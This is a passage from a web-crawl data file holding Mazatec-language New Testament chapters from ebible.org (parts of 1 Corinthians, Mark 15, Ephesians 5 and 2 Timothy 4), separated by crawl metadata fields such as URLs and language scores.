tjín‑la̱ kjo̱hítsjeèn xi ts'e̱ kjoa̱ chji̱ne̱‑la̱ i̱sò'nde, ta sa̱á ko̱s'ín kàtas'ín koni tsà tsjìn‑la̱ kjo̱hítsjeèn, mé‑ne nga nguì xi̱ta̱ chji̱ne̱ ko̱ma‑ne. 19 Jè kjoa̱ chji̱ne̱‑la̱ xi̱ta̱ i̱sò'nde, i̱t'aà ts'e̱ Nainá, kjoa̱ ská tsò‑la̱. Xo̱jo̱n‑la̱ Nainá, k'oa̱á s'ín tíchja̱ nga tsò: \"Nainá, k'oa̱á s'ín s'ín nga jñà xi̱ta̱ chji̱ne̱, ti̱jñà‑ne kjoa̱ maña̱‑la̱ ki̱xo̱jiìn‑ne.\" 20 Jè Xo̱jo̱n‑la̱ Nainá, ìjngoò k'a tjít'aà ñánda tsò: \"Nainá, beè‑né nga ni̱mé chjí‑la̱ kjo̱hítsjeèn‑la̱ xi̱ta̱ xi chji̱ne̱ tsò‑la̱ yijo‑la̱.\" 21 K'oa̱á ma‑ne, jñò, kì ni̱jngoò xi̱ta̱ xi 'nga nìkíjna. Nga̱ ngats'iì xi tjín, kjo̱ndaà tsa̱jòn yije‑nò. 22 Tsà jè Pablo, tsà jè Apolos, tsà jè Cefas [xi ti̱koa̱ Pedro 'mì], tsà jè i̱sò'nde, tsà jè kjoa̱binachon, tsà jè kjoa̱ biyaà, tsà jè na̱chrjein i̱'ndei̱, tsà jè na̱chrjein xi sa̱ nchrobá, kjo̱ndaà tsa̱jòn yije‑nò. 23 Jñò, ts'e̱ Cristo‑nò, koa̱ jè Cristo ts'e̱é Nainá.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/maaNT\/1CO03.htm","date":"2022-01-18T06:57:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300805.79\/warc\/CC-MAIN-20220118062411-20220118092411-00269.warc.gz","language":"maa","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000091791152954}","num_words":586,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.307,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5\nJé xi kisakò ya̱ i̱jiìn na̱xa̱ndá‑la̱ Cristo ján Corinto\n1 Jye na'yà‑la̱ nga kjoa̱chijngui tíma i̱jiìn tsa̱jòn. Kjoa̱ xi tíma, skanda jñà xi̱ta̱ xi mìkiì beèxkón Nainá, mì k'oa̱á s'ín. Nga ya̱á tíjnajiìn jngoò‑nò xi̱ta̱ xinguio̱o xi nea̱jòn‑la̱ tsóhoko̱. 2 Jñò, ¿mé‑ne 'nga nìkítsa̱jna‑nò yijo‑nò? Mochjeén‑né nga kjoa̱ba ki̱tsa̱jnajñoò, ko̱ jè xi̱ta̱ xi ko̱tjín jé tíhótsji, ti̱nachrjekàjioòn. 3 'A̱n, kixi̱í kjoa̱, kjiìn tìjna̱‑nò, ta̱nga kjo̱hítsjeèn‑la̱ ini̱ma̱‑na̱ ya̱á tíjnajiìn osen‑nò. 'A̱n, k'oa̱á ngaya‑la̱ koni tsà ya̱ tìjna̱jiìn‑nò, jyeé kiskoòsòn‑la̱ mé kjo̱'in xi si̱nè‑la̱ jè xi̱ta̱ xi k'oa̱ tjín jé tíhótsji. 4 Jñò, k'e̱ nga ko̱xkóya nga jeya si̱kíjna Jesucristo xi otíxoma‑ná, jè kjo̱hítsjeèn‑la̱ ini̱ma̱‑na̱ ya̱á kíjnajiìn‑nò, ti̱koa̱ ya̱á kíjnajiìn‑nò jè nga'ñó‑la̱ Na̱'èn‑ná Jesucristo. Ko̱ i̱t'aà ts'e̱ Na̱'èn‑ná Jesucristo, 5 xi̱ta̱ jè, xi̱ta̱ nei̱í kàtanga̱tsja yijo‑la̱ nga kàtas'e‑la̱ kjo̱'in, ko̱ kàtasíkájno jé‑la̱ nga mì ti̱ jé ko̱hótsji‑ne mé‑ne nga ki̱tjokàjiìn‑ne kjo̱'in ini̱ma̱‑la̱, k'e̱ nga kjoi̱í ìjngoò k'a Jesucristo xi otíxoma‑ná.\n6 Mìkiì ndaà tjín nga 'nga nìkítsa̱jna yijo‑nò. ¿A mì tíjiìn‑nò nga na̱s'ín ta̱ chiba na̱'yo̱ san sísan yije xíkjín na̱'yo̱? 7 Ti̱nachrjekàjioòn jè xi̱ta̱ xi ótsji jé k'oa̱á ngaya‑la̱ koni tsà na̱'yo̱ san xi mì ti̱ ndaà‑ne nga síkits'ón‑nò, mé‑ne jñò k'oa̱s'ín kjoàn ko̱ma‑nò koni na̱'yo̱ xi̱tse̱ ts'e̱ i̱nchra̱jín xi tsjìn‑la̱ na̱'yo̱ san. Nga jñò, jyeé kitjaàxìn‑nò kjoa̱ ts'e̱ jé koni na̱'yo̱ san jchínga nga jè Cristo k'en ngajo‑ná koni jñà orrè xi kisìk'en xi̱ta̱ Israel k'e̱ nga Paxko̱. 8 Koií kjoa̱‑la̱ jñá, k'oa̱á s'ín ki̱náchrjeé s'eí nga jyeé kisìkítsa̱jnandei̱í‑ná Nainá kjoa̱ ts'e̱ jé, koni s'ín xi̱ta̱ Israel k'e̱ nga Paxko̱ nga sítsjeè ni'ya‑la̱ nga faáxìn yije na̱'yo̱ san. Jñá, k'oa̱á ti̱s'ín chja̱àxián kjoa̱ ts'e̱ jé ko̱ kjoa̱ ch'o ko̱ nguì kjoa̱tsjeè ko̱ kjoa̱kixi̱ si̱kjeén k'oa̱á ngaya‑la̱ koni i̱nchra̱jín xi tsjìn‑la̱ na̱'yo̱ san.\n9 Jè xo̱jo̱n xi kisìkasén ítjòn‑nò, k'oa̱á kixan‑nò nga mì ya̱ koa̱hijtako̱o jñà xi̱ta̱ xi kjoa̱ chijngui s'ín. 10 K'e̱ nga k'oa̱ kixan‑nò, mìtsà jñà kisìkaxkia̱ jñà xi̱ta̱ i̱sò'nde xi kjoa̱ chijngui s'ín, ko̱ jñà xi tse mejèn‑la̱, ko̱ jñà xi̱ta̱ chijé, ko̱ jñà xi xkósòn beèxkón. Xi̱ta̱ koi, xki̱ xi ján satíkjoò. Ta jè xi ko̱ma ki̱nchat'aàxìn‑là tsà xìn i̱sò'nde onguió. 11 Jñà 'én xi kixan‑nò, jè‑né nga mì ya̱ tsjahijtako̱o jñà xi tsò nga xi̱ta̱‑la̱ Cristo xi 'ndsè chibá tsà tákó kjoa̱ chijngui nchis'ín, xi̱ta̱ xi tse mejèn‑la̱, xi xkósòn beèxkón, xi ch'o chja̱jno‑ná, xi xán 'biì, xi chijé s'ín. Jñà xi̱ta̱ xi k'oa̱s'ín s'ín, skanda mìkiì mochjeén nga ki̱chiko̱o. 12-13 Mìtsà jñá oko̱‑ná nga bíndaàjiìn‑lá jñà xi̱ta̱ i̱sò'nde. Jè Nainá ki̱ìndaàjiìn‑la̱ jñà xi̱ta̱ koi. Ta̱nga jñò oko̱‑nò nga kíndaàjiìn‑là xi̱ta̱ na̱xa̱ndá‑la̱ Nainá xi tsa̱jòn. K'oa̱á ma‑ne nga xan‑nò, chja̱àxiòn jè xi̱ta̱ xi ch'o tís'ín xi ya̱ tíjnajiìn‑nò.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/maaNT\/1CO05.htm","date":"2022-01-23T11:47:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304261.85\/warc\/CC-MAIN-20220123111431-20220123141431-00511.warc.gz","language":"maa","language_score":1.0000078678,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 1.0000078678131104}","num_words":420,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.35,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"15\nKjoa̱ xi komàt'in Jesús k'e̱ nga kjònga̱tsja Pilato\n(Mateo 27:1‑2, 11‑14; Lucas 23:1‑5; Juan 18:28‑38)\n1 K'e̱ nga kis'e i̱sén jñà xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ jchínga ko̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés ko̱ ngats'iì xi̱ta̱xá ts'e̱ xi̱ta̱ judío tsajoóya‑ne. Tsibít'aà'ñó Jesús, kiìko̱, kisìnga̱tsja jè Pilato. 2 Jè Pilato kiskònangui‑la̱, kitsò‑la̱:\n―¿A ji̱‑né xi xi̱ta̱xá ítjòn‑la̱ jñà xi̱ta̱ judío?\nJesús kitsò:\n―Ngaji̱í xi k'oa̱ si nga 'a̱n‑ná.\n3 Ta̱nga jñà xi̱ta̱ sko̱‑la̱ no̱'miì, kjìn ska̱ya 'én tjín‑ne xi tsját'in nga óngui. 4 Pilato ìjngoò k'a kiskònangui‑la̱, kitsò‑la̱:\n―¿A ni̱mé 'én nokjoì? Ti̱ná'yaà‑la̱, 'ñó kjìn ska̱ya kjoa̱ tsját'in‑lè nga óngui‑lè.\n5 Jesús mìkiì kiìchja̱ na̱s'ín koa̱ tí'mì‑la̱. Pilato, tà k'oa̱á komà‑la̱.\nK'e̱ nga jè Jesús kitjoònè kjoa̱ nga ki̱yá\n(Mateo 27:15‑31; Lucas 23:13‑25; Juan 18:38–19:16)\n6 Nga xki̱ nó k'e̱ nga bitjo s'eí Paxko̱ jè Pilato síkíjnandei̱í jngoò xi̱ta̱ xi títsa̱'ya nda̱yá, jè xi síjé xi̱ta̱ na̱xa̱ndá nga kíjnandei̱í. 7 Jñà xi̱ta̱ xi títsa̱'ya nda̱yá nga kjoa̱siì tsohótsji ts'e̱ gobierno, ya̱ tíjna xi 'mì Barrabás xi xi̱ta̱ kisìk'en. 8 Jñà xi̱ta̱ na̱xa̱ndá kiìkáko̱ Pilato nga mejèn‑la̱ koa̱ s'ín síkitasòn koni ma nga xki̱ nó. 9 Kiìchja̱ Pilato, kitsò:\n―¿A mejèn‑nò nga siìkíjnandei̱í‑nò xi xi̱ta̱xá ítjòn‑la̱ xi̱ta̱ judío?\n10 Pilato jye tíjiìn‑la̱ nga tà kjoa̱xìtakòn‑né nga jñà xi̱ta̱ sko̱‑la̱ no̱'miì ya̱ ijchò sínga̱tsja Jesús. 11 Jñà xi̱ta̱ sko̱‑la̱ no̱'miì chinchá'a xi̱ta̱ na̱xa̱ndá nga ko̱s'ín kàtasíjé nga kàtìjnandei̱í‑ne Barrabás. 12 Pilato ìjngoò k'a kiskònangui‑la̱ xi̱ta̱ na̱xa̱ndá, kitsò‑la̱:\n―¿Mé xi si̱koa̱á jè xi 'mì‑là xi̱ta̱xá ítjòn‑la̱ xi̱ta̱ judío?\n13 Jñà xi̱ta̱, 'ñó kiìchja̱, kitsò:\n―Ta̱sit'iì krò.\n14 K'e̱é kitsò Pilato:\n―¿Mé jé xi tsohótsji, mé‑ne ki̱yá‑ne?\nJñà xi̱ta̱, ìsa̱á 'ñó kiìchja̱, kitsò:\n―Ta̱sit'iì krò.\n15 Pilato mejèn‑la̱ nga ndaà kíjnako̱ xi̱ta̱ na̱xa̱ndá. Kisìkíjnandei̱í Barrabás. K'e̱ nga jye kitsjaà o̱kixi̱ nga tsajá‑la̱ Jesús, i̱kjoàn kisìnga̱tsja nga si̱t'aà krò.\n16 Jñà soldado kiìko̱ Jesús ján ni'ya osen. I̱kjoàn kiìchja̱ yije‑la̱ soldado xíkjín. 17 Kisìkákjá jngoò nikje xi inì jmà kji; tsibí'a sko̱ jngoò corona na'yá xi jñà xó tsibíndaà‑ne. 18 I̱kjoàn tsibíts'ia̱ nga kiskindàyat'in. Kitsò‑la̱:\n―Viva xi̱ta̱xá ítjòn‑la̱ xi̱ta̱ judío.\n19 Tsatjì yá xka̱jnchra̱ sko̱; i̱kjoàn tsibíchrájno koa̱ chincha-xkó'nchit'aà‑la̱ koni tsà nchibeèxkón. 20 K'e̱ nga jye kisìsobà‑la̱, jaàxìn‑la̱ nikje sko xi íkjá, i̱kjoàn kisìkákjá‑ne xi nikje ts'e̱. K'e̱é itjoko̱ nga ko̱sit'aà krò.\nK'e̱ nga kisit'aà krò Jesús\n(Mateo 27:32‑44; Lucas 23:26‑43; Juan 19:17‑27)\n21 Jngoò xi̱ta̱ kisatiìkjoò xi 'mì Simón xi Cirene i̱'nde‑la̱ xi tínchrobá‑ne rancho̱‑la̱. Na̱'èn‑la̱á ma jè Alejandro ko̱ Rufo. Jñà soldado kjo̱'ñó kis'iìn‑la̱ nga kisìk'ajen krò‑la̱ Jesús.\n22 Kiìko̱ Jesús ján i̱'nde ñánda 'mì Gólgota, jè 'én xi tsòya‑ne i̱'nde sko̱ mik'en. 23 Kitsjaà‑la̱ vino xi tsjájiìn xich'a tsja xi 'mì mirra ta̱nga jè Jesús mìkiì kits'iì. 24 K'e̱é tsasìt'aà krò, i̱kjoàn jñà soldado kisìskáko̱ nikje‑la̱ Jesús nga kisìka'bí‑la̱ xíkjín yá ts'e̱ ko̱ma.\n25 Ijchò‑la̱ tsà xi ñijaàn nga ta̱jñòya nga kisasìt'aà krò Jesús. 26 Jñà 'én xi tsohót'aà i̱sòn sko̱ krò, ya̱á tíchja̱ mé jé xi komà‑la̱ Jesús nga kinìk'en. Tsò‑né: \"Xi̱ta̱xá Ítjòn‑la̱ xi̱ta̱ judío.\" 27 Ti̱koa̱á chinchat'aà krò jò xi̱ta̱ chijé. Jngoò tsasíjnat'aà nga kixi̱‑la̱ Jesús ko̱ jngoò tsasíjnat'aà nga ngaskón‑la̱. 28 K'oa̱á s'ín kjòngásòn koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: \"K'oa̱á ngaya‑la̱ koni jngoò xi̱ta̱ xi tse jé tjín‑la̱.\"\n29 Jñà xi̱ta̱ xi ya̱ ja, síkatji sko̱ nga kiìchja̱jno‑la̱, kitsò‑la̱:\n―Ji̱, k'oa̱á kisi nga si̱ixòñi i̱ngo̱ ítjòn‑la̱ Nainá ko̱ jàn na̱chrjein kíndaà ngajo‑ne, 30 ti̱kíjnandei̱í yijo‑lè ko̱ chínáje̱n‑t'i yijo‑lè krò.\n31 K'oa̱á ti̱s'ín kisìsobà‑la̱ jñà xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés. Kitsò‑la̱ xíkjín:\n―Xi̱ta̱ jè, tsachrjekàjiìn kjo̱'in xi kj'ei̱í xi̱ta̱, ta̱nga jè xi yijo‑la̱, mìkiì ma ochrjekàjiìn kjo̱'in. 32 Kàtìtjojen‑t'aà krò jè xi Cristo, xi Xi̱ta̱xá Ítjòn‑la̱ na̱xa̱ndá Israel, mé‑ne nga jcha̱‑ná koa̱ ko̱kjeiín‑ná.\nSkanda jñà xi̱ta̱ xi ti̱koa̱ ya̱ kjit'aà krò, ti̱koa̱á tsatít'aà.\nK'e̱ nga k'en Jesús\n(Mateo 27:45‑56; Lucas 23:44‑49; Juan 19:28‑30)\n33 K'e̱ nga ijchò nchisen, kóho̱kji nga tíjtsa i̱sò'nde kòjñò skanda xi jàn nga nguixòn. 34 Ti̱jè‑ne hora Jesús 'ñó kiìchja̱ nga kitsò:\n―Eloi, Eloi, ¿lama sabactani? ―'Én jè tsòya‑ne: Nainá, Nainá, ¿mé‑ne kàjneitakòn‑ná?\n35 Tjín i'nga xi̱ta̱ xi ya̱ títsa̱jna xi kiì'nchré‑la̱, kitsò:\n―Ti̱ná'yaà‑là, jè chja̱‑la̱ Elías.\n36 K'e̱é tsangachikon jngoò xi kisìka'nchi̱ tsa̱nga̱ ko̱ vinagre, i̱kjoàn tsibísko̱‑la̱ ína̱xo̱, kitsjaà‑la̱ Jesús nga kàt'iì, kitsò:\n―Chítsejèn‑là, ¿a kjoi̱í Elías nga skónáje̱n‑t'aà krò?\n37 Ta̱nga Jesús ìsa̱á 'ñó kiskindàya; k'en. 38 Jè nikje velo xi tjo̱hóya jngoò osen i̱ngo̱ ítjòn kixajndà, jòya ko̱ma skanda i̱t'aà nangui. 39 Jè xi̱ta̱ sko̱‑la̱ soldado xi síjna ñánda kisit'aà krò Jesús k'e̱ nga kijtseè nga jye k'en Jesús, kitsò:\n―Kixi̱í kjoa̱, xi̱ta̱ jèe̱, Ki'ndí‑la̱ Nainá‑né.\n40 Ti̱koa̱ títsa̱jna i'nga íchjín xi kjiìn nchikotsejèn‑ne; jè María Magdalena, ko̱ chjo̱ón Salomé, ko̱ María xi nea̱‑la̱ ma José ko̱ Jacobo, jè xi ìsa̱ ma ki'ndí. 41 Jñà íchjín koi, k'e̱ nga tsibìjna Galilea Jesús, ya̱á chinchima‑tji̱ngui‑la̱ ko̱ ya̱á kisìchját'aà‑la̱. Kjìn ma íchjín xi ya̱ títsa̱jna xi ijchòko̱ ján Jerusalén.\nK'e̱ nga kisìhijiìn Jesús\n(Mateo 27:57‑61; Lucas 23:50‑56; Juan 19:38‑42)\n42 K'e̱ nga jye kjònguixòn nga jye bìtsa̱jnandaà‑la̱ na̱chrjein nìkjáya. 43 José xi Arimatea i̱'nde‑la̱, jngoò xi̱ta̱ xi ti̱koa̱ 'nga xá tjín‑la̱ ts'e̱ xi̱ta̱xá‑la̱ xi̱ta̱ judío xi ti̱koa̱ tíkoña‑la̱ nga mejèn‑la̱ skoe̱ kó s'ín otíxoma Nainá, kitsjaà‑la̱ nga'ñó yijo‑la̱, jahas'en ya̱ ni'ya ñánda tíjna Pilato nga kisìjé yijo‑la̱ Jesús. 44 Pilato, tà k'oa̱á ko̱ma‑la̱ nga jye k'en Jesús; kiìchja̱‑la̱ jè xi̱ta̱ sko̱‑la̱ soldado; kiskònangui‑la̱ tsà kixi̱ kjoa̱ nga jye k'en. 45 K'e̱ nga jye tsibéno̱jmí jè xi̱ta̱ sko̱‑la̱ soldado nga jye k'en Jesús, Pilato kisìnga̱tsja José yijo‑la̱ Jesús. 46 José tsatse jngoò nikje sábana; kiskóje̱n‑t'aà krò yijo‑la̱ Jesús; i̱kjoàn kisìkájté jè nikje. K'e̱é kiì kíhijiìn ñánda jye tjíndaà jngoò nga̱jo̱ i̱tsjó i̱ngui nguijo; kiskinìs'en‑ngui, i̱kjoàn tsohójtsa xotjoa̱‑la̱ nga̱jo̱ jngoò nda̱jo̱. 47 María Magdalena ko̱ María nea̱‑la̱ José, nchikotsejèn‑la̱ nga kisìhijiìn Jesús.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/maaNT\/MRK15.htm","date":"2022-01-17T00:39:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300253.51\/warc\/CC-MAIN-20220117000754-20220117030754-00423.warc.gz","language":"maa","language_score":0.9999992847,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9999992847442627}","num_words":873,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.296,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5\nKó s'ín si̱jchá yijo‑ná nga i̱xti‑la̱ Nainá 'mì‑ná\n1 K'oa̱á ma‑ne nga k'oa̱s'ín ti̱jchá yijo‑nò koni s'ín Nainá nga koi kjoa̱‑la̱ nga i̱xti‑la̱ Nainá 'mì‑ná nga 'ñó matsjakeè‑ná. 2 K'oa̱á ti̱s'ín tjòcha chaà xinguio̱o koni Cristo tjòkeè kijtseè‑ná nga jè kitsjaà ngajo‑ná yijo‑la̱ nga k'en, jngoò kjo̱tjò xi ndaà kjòtsjakeè Nainá.\n3 Jè xi kjoa̱ chijngui, ngats'iì kjoa̱ ch'o xi 'ñó tjé tjín ko̱ kjoa̱ nga maxìtakòn‑chaà xinguio̱o mì ti̱ k'oa̱á tjín kjoa̱ xi ko̱xki̱‑ne i̱t'aà tsa̱jòn. Nga̱ jñò, xi̱ta̱ tsjeè‑la̱ Nainá 'mì‑nò. 4 Kì 'én tsa'a nokjoà, ko̱ 'én nchi̱kón, ko̱ 'én xi ch'o tsò nga bijnòkeè xi̱ta̱. Jñà kjoa̱ koi, ti̱koa̱á mìkiì ok'ìn‑la̱ nga ko̱s'ín ki̱nókjoa̱a. Tà saà kjo̱ndaà tjiì‑là Nainá. 5 Jye tíjiìn‑nò nga mìkiì ko̱ma kjoa̱has'en ñánda tíhotíxoma Cristo ko̱ Nainá, ngats'iì xi̱ta̱ xi kjoa̱ chijngui s'ín, xi kjoa̱ xi 'ñó tjé s'ín ko̱ nga maxìtakòn‑keè xíkjín. Jñà xi̱ta̱ xi k'oa̱s'ín s'ín, ta jñà kjoa̱ koi beèxkón nga nei‑la̱ ma. 6 Kì yá xi̱ta̱ xi kona̱cha̱n‑nò xi ta̱xki̱ 'én béno̱jmí‑nò xi ni̱mé chjí‑la̱ i̱t'aà ts'e̱ jé koi. Ta jè nga̱tjì‑la̱ nga kjo̱'in tsjá‑la̱ Nainá jñà xi̱ta̱ xi mìkiì 'nchréñijon‑la̱. 7 Kì ya̱ tsjahijtako̱o xi̱ta̱ koi.\n8 Jñò, nga sa̱ kjòtseé, jè kjo̱hítsjeèn‑nò tjíjñò‑la̱, ta̱nga i̱'ndei̱, jyeé iseèn titsa̱jnaà nga Na̱'èn‑ná Jesucristo titsa̱jnako̱o. K'oa̱á s'ín ti̱jchá yijo‑nò koni s'ín ok'ìn‑la̱ jñà xi̱ta̱ xi ya̱ títsa̱jna ñánda iseèn choòn. 9 K'e̱ nga kjoa̱ iseèn tíjiìn ini̱ma̱‑ná ndaà s'e̱én, ya̱ ki̱tjáyaá ndi̱yá kixi̱, koa̱ nguì 'én kixi̱ ki̱nókjoa̱á. 10 Ti̱nchátsjioò mé kjo̱ndaà xi sasén‑la̱ Na̱'èn‑ná. 11 Kì ya̱ chingàjñoò kjoa̱ xi ni̱mé chjí‑la̱ koni s'ín xi̱ta̱ xi tjíjñò kjo̱hítsjeèn‑la̱. Jñò, ta̱ saà ta̱kó nga kàta'ya‑la̱ nga mìkiì ndaà tjín kjoa̱ xi s'ín. 12 Skanda masobà‑ná nga nokjoá jñà kjoa̱'ma xi ch'o tjín xi s'ín jñà xi̱ta̱. 13 Ni̱ta̱ mé kjoa̱‑ne xi si̱jna ñánda iseèn choòn, ni̱to̱ón beè xi̱ta̱ mé kjoa̱‑ne, a ndaà tjín, a xi mìkiì ndaà tjín. Nga jè kjoa̱ iseèn okó yije xi ndaà tjín ko̱ xi mìkiì ndaà tjín. 14 Koií ko̱tsò‑ne 'én xi tsò:\nNgaji̱ xi titsa̱jnafì, ti̱kjaá‑la yijo‑lè.\nTi̱sítje̱n‑jiìn‑la̱ mik'en;\njè Cristo si̱ìhiseèn‑lè.\n15 Ndaà ti̱kinda̱a koni s'ín titsa̱nìjchá yijo‑nò; k'oa̱á s'ín ti̱tsa̱jna koni xi̱ta̱ xi tjín‑la̱ kjoa̱chji̱ne̱; kì k'oa̱á 'nè koni s'ín xi tsjìn‑la̱ kjo̱hítsjeèn. 16 Ndaà ti̱kjeén na̱chrjein mé xi s'e̱en; nga na̱chrjein i̱'ndei̱, 'ñó tjín kjoa̱ ch'o. 17 Kì ch'o onguíko̱o kjo̱hítsjeèn‑nò; ndaà kàtachi̱ya‑nò mé xi mejèn‑la̱ Nainá. 18 Kì xán 'yò, jè xán síkits'ón‑ná, tà sa̱á jè Ini̱ma̱ Tsjeè‑la̱ Nainá ndaà kàtas'en‑jiìn ini̱ma̱‑nò nga kàtakó‑nò ndi̱yá kixi̱. 19 Chi̱ko̱o xinguio̱o 'én‑la̱ Nainá. Ti̱jndá‑là sò xi 'mì salmo, himno koa̱ ti̱jndá i̱jiìn ini̱ma̱‑nò jè xi okóya‑nò Ini̱ma̱ Tsjeè‑la̱ Nainá. Jeya ti̱kíjna Nainá nga ko̱ ini̱ma̱‑nò. 20 I̱t'aà ts'e̱ 'ín‑la̱ Na̱'èn‑ná Jesucristo, na̱chrjein nchijòn tjiì‑là kjo̱ndaà Nainá xi Na̱'èn‑ná ngats'iì xi tsjá‑nò.\nKjoa̱ xi tjínè‑la̱ nga si̱ìkitasòn jñà xi̱ta̱ x'i̱n ko̱ jñà íchjín\n21 Nangui titsa̱jna‑là xinguio̱o koni s'ín yaxkón Cristo.\n22 Jñò, íchjín xi x'i̱n tjín‑nò, nangui titsa̱jna‑là x'i̱n‑nò koni s'ín nangui bìtsa̱jna‑là Cristo. 23 Nga jè x'i̱n, jè xi sko̱ tíjna‑la̱ chjo̱ón, koni Cristo, jè xi sko̱‑la̱ na̱xa̱ndá‑la̱. Ko̱ jè Cristo xi ochrjekàjiìn kjo̱'in na̱xa̱ndá‑la̱ nga ti̱jè‑ne yijo‑la̱. 24 Koni jè na̱xa̱ndá‑la̱ Cristo nangui tíjna‑la̱, k'oa̱á ti̱s'ín jñà íchjín, nangui kàtìjna‑la̱ x'i̱n‑la̱ ni̱ta̱ mé kjoa̱‑ne.\n25 Jñò xi x'i̱n mì‑nò, ti̱tsjacha íchjín‑nò, koni jè Cristo matsjakeè na̱xa̱ndá‑la̱ nga jè kitsjaàtjì yijo‑la̱ nga k'en. 26 Koií ko̱s'ín kis'iìn‑ne nga tsjeè si̱ìkíjna na̱xa̱ndá‑la̱ nga nguixko̱n Nainá. Jè jaàxìn jé‑la̱ nga ko̱ 'én ndaà‑la̱ koni s'ín xi̱ta̱ nga oníjno yijo‑la̱, 27 mé‑nè nga ti̱jè ko̱kò‑ne nga tsjeè kji ko̱ ti̱jè skoétjò‑ne nga ts'e̱ ko̱ma, jngoò na̱xa̱ndá xi jeya tíjna, xi mì ch'oó kji, mì tjíyó kji, mì tjé kji, jngoò k'a tsjeè kji, ko̱ ni̱mé jé tjín‑la̱. 28 Ti̱koa̱á jè x'i̱n kàtamatsjakeè chjo̱ón‑la̱ koni s'ín matsjakeè xi ti yijo ts'e̱‑ne; nga jè xi matsjakeè chjo̱ón‑la̱, ti̱jè‑ne yijo‑la̱ tímatsjakeè. 29 Ni̱jngoò xi̱ta̱ xi ti̱jè beètoòn‑ne yijo‑la̱; ta sa̱á tsjá‑la̱ nga'ñó nga síkinda̱ yijo‑la̱ koni s'ín jè Cristo nga síkinda̱ na̱xa̱ndá‑la̱. 30 Nga jè na̱xa̱ndá‑la̱ ti̱jè‑ne yijo‑la̱; ko̱ jñá, ti̱koa̱á ya̱á nokjoàt'aà‑ná yijo‑la̱. 31 Koií kjoa̱‑la̱ nga k'oa̱s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: \"Jè x'i̱n xi bixan si̱ìkíjna na̱'èn‑la̱ ko̱ nea̱‑la̱ nga kíjnako̱ chjo̱ón‑la̱. Ingajò, tà jngoò xi̱ta̱ ko̱ma.\" 32 Jñà 'én koi, jngoò kjoa̱ xi 'ñó 'in tjín skanda mìkiì fìya‑ná. Ta̱nga 'a̱n, jè tìsìkaxkia̱ Cristo ko̱ na̱xa̱ndá‑la̱. 33 K'oa̱á xan‑nò ngats'ioò nga jngoò ìjngoò, ti̱tsjacha íchjín‑nò koni s'ín matsjacha yijo‑nò; ko̱ jè chjo̱ón kàteèxkón x'i̱n‑la̱.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/maaNT\/EPH05.htm","date":"2022-01-21T23:46:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320303717.35\/warc\/CC-MAIN-20220121222643-20220122012643-00639.warc.gz","language":"maa","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.000009298324585}","num_words":689,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.325,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"4\nKó tsò Pablo nga tíbínè‑la̱ Timoteo nga 'Én‑la̱ Nainá ki̱chja̱\n1 'Ñó tìbìnè‑lè nga nguixko̱n Nainá ko̱ Na̱'èn‑ná Jesucristo jè xi jeya kjoi̱í ìjngoò k'a‑ne koni xi̱ta̱xá ítjòn nga koi̱ìndaàjiìn‑la̱ xi̱ta̱ xi títsa̱jnakon ko̱ xi jye k'en. 2 Ti̱nókjoa̱yi 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo. Ti̱jnandeiì nga kjit'aà na̱chrjein ni̱ta̱ mé kjoa̱ xi tjín. Chi̱koi̱i xi̱ta̱ k'e̱ nga ch'o s'ín; ti̱kixi̱yi; tìt'in‑la̱ nga 'ñó kàt'eé‑la̱ ikon. K'e̱ nga k'oa̱s'ín s'i̱in, tseé t'i̱in takoìn, ko̱ kjo̱ndaà‑lè ta̱kóya‑la̱. 3 Ki̱jchò na̱chrjein k'e̱ nga jñà xi̱ta̱ mì ti̱ kiì ko̱kjeiín‑la̱ nga kji̱'nchré 'én ndaà xi kixi̱ tjín xi jñá okoòyaá i̱t'aà ts'e̱ Cristo. Kjìn maestro ko̱hótsji xi ko̱kòya‑la̱ kjoa̱ xi jñà ko̱mejèn‑la̱ nga kji̱'nchré‑la̱. 4 Ki̱nchat'aàxìn‑la̱ xi kjoa̱kixi̱, koií kji̱t'aà‑la̱ xi ta̱xki̱ cuento jchínga xi mìtsà kixi̱ kjoa̱. 5 Ta̱nga ngaji̱ Timoteo, indaà t'è‑la̱ takoìn ni̱ta̱ mé kjoa̱‑ne, ti̱kjeiín kjoa̱ ts'e̱ kjo̱'in, koi xá t'i̱in nga 